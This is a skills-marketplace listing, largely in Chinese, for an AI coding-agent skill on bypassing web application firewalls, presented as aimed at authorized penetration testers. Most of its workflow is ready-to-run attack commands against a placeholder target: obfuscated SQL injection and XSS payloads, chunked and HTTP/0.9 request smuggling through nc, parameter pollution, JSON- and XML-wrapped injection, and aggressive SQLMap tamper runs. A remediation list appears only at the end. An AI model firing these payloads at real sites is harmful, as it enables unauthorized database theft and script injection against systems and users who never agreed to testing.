mcpField
P
performing-web-application-firewall-bypass

performing-web-application-firewall-bypass

github.com/mukul975安全35.2k296 次安装8 周前更新
代码仓库

关于 performing-web-application-firewall-bypass

这是一份面向授权渗透测试人员的 WAF 绕过技能,涵盖识别防护规则、测试规避方式及记录评估结果。

主要功能

  1. 01识别并指纹检测 WAF
  2. 02使用编码与混淆规避规则
  3. 03测试 HTTP 方法和协议差异
  4. 04利用参数污染拆分载荷
  5. 05使用 SQLMap tamper 脚本
  6. 06评估 XSS 过滤绕过

适用场景

  1. 01测试已确认漏洞是否被 WAF 阻挡
  2. 02评估自定义 WAF 规则的覆盖情况
  3. 03红队演练中的边界防护测试

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-application-firewall-bypass

安装后在 Claude Code 中输入/performing-web-application-firewall-bypass确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行 Web 应用防火墙绕过

何时使用

  • 当已确认的漏洞被 WAF 基于签名的检测所阻断时
  • 在渗透测试中,WAF 阻止对已知问题的利用时
  • 在评估 WAF 规则针对规避技术的有效性时
  • 在红队演练中需要绕过边界安全控制时
  • 在测试自定义 WAF 规则的完整性和抗绕过能力时

前置条件

  • 集成 SQLMap 的 Burp Suite Professional
  • 用于 WAF 指纹识别和识别的 wafw00f
  • 带有 tamper 脚本的 SQLMap,用于自动化 WAF 绕过
  • 理解 WAF 检测机制(签名、正则、行为)
  • 针对每种攻击类型收集编码和混淆技术
  • 了解可利用于规避的 HTTP 协议细节

工作流

步骤 1 — 识别并指纹识别 WAF
# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
步骤 2 — 使用编码和混淆绕过
# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
步骤 3 — 使用 HTTP 方法和协议技巧绕过
# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
步骤 4 — 使用载荷拆分和 HPP 绕过
# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"
步骤 5 — 使用 SQLMap tamper 脚本
# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch
步骤 6 — XSS WAF 绕过技术
# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"

# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"

# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"

# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"

# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"

关键概念

概念描述
签名规避混淆载荷以避免匹配 WAF 正则模式
编码绕过使用 URL、Unicode 或 HTML 编码来伪装恶意字符
协议层绕过利用 HTTP 协议特性(分块编码、方法覆盖)
Tamper 脚本转换载荷以规避特定 WAF 规则的 SQLMap 模块
Content-Type 混淆以 WAF 不检查的意外内容类型发送载荷
参数污染将载荷拆分到重复参数中以规避逐参数检查
行为 vs 签名WAF 检测模式:模式匹配(可绕过)vs. 异常检测(更难)

工具与系统

工具用途
wafw00fWAF 指纹识别和识别
SQLMap带 WAF 绕过 tamper 脚本的自动化 SQL 注入
waf-bypass.com社区维护的 WAF 绕过载荷数据库
Awesome-WAF精选的 WAF 绕过技术 GitHub 仓库
Burp Suite用于手动构造载荷和 WAF 响应分析的 HTTP 代理
XSStrike具备 WAF 检测和绕过能力的 XSS 扫描器

常见场景

  1. 通过 JSON 进行 SQLi — 通过在 WAF 规则不检查的 JSON 请求体中发送 SQL 注入载荷来绕过 WAF
  2. 通过事件处理器的 XSS — 使用 WAF 签名规则未覆盖的替代 HTML 事件处理器(onpageshow、onanimationstart)
  3. 编码链绕过 — 应用多层编码(URL + Unicode + HTML 实体)以规避 WAF 的每一层解码
  4. 分块传输绕过 — 将恶意载荷拆分到 HTTP 分块传输编码段中以避免模式匹配
  5. 方法覆盖 — 通过 WAF 不检查的 PUT/PATCH 方法或自定义头部发送攻击载荷

输出格式

## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation

评论

支持 Markdown